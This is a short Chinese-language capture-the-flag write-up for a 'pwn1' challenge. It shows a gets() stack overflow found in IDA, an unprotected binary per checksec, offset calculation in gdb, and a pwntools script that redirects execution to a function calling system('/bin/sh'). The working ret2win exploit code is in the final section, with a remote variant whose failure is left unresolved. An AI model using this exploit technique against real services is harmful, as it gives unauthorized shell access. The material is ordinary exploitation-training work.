1、下载附件后,运行是一个输入程序,IDA分析main函数,gets可溢出。
F5伪代码如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+1h] [rbp-Fh] puts("please input"); gets(&s, argv); puts(&s); puts("ok,bye!!!"); return 0; }
2、在附近还有个fun函数,存在shell入口。
int fun() { return system("/bin/sh"); }
3、checksec查看无保护。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
6、单步执行运行,输入任意字符,执行完函数。ret位置在0x7fffffffe7a8,也就是需要替换的return address位置。
8、在IDA中找到fun函数的开始位置:0x401186。这个值用来替换栈中原本的内容0x7ffff7e15d0a
9、写exp
from pwn import * r = process('./pwn1') offset = 0x7fffffffe7a8-0x7fffffffe791 fun = 0x0000000000401186 r.sendline('a'*offset+p64(fun).decode("iso-8859-1")) r.interactive()
在本地可以执行,但是目标替换为远端就不行了
from pwn import *
r = remote("X.X.X.X",29395)
offset = 0x7fffffffe7a8-0x7fffffffe791 fun = 0x0000000000401187 r.sendline('a'*offset+p64(fun).decode("iso-8859-1")) r.interactive()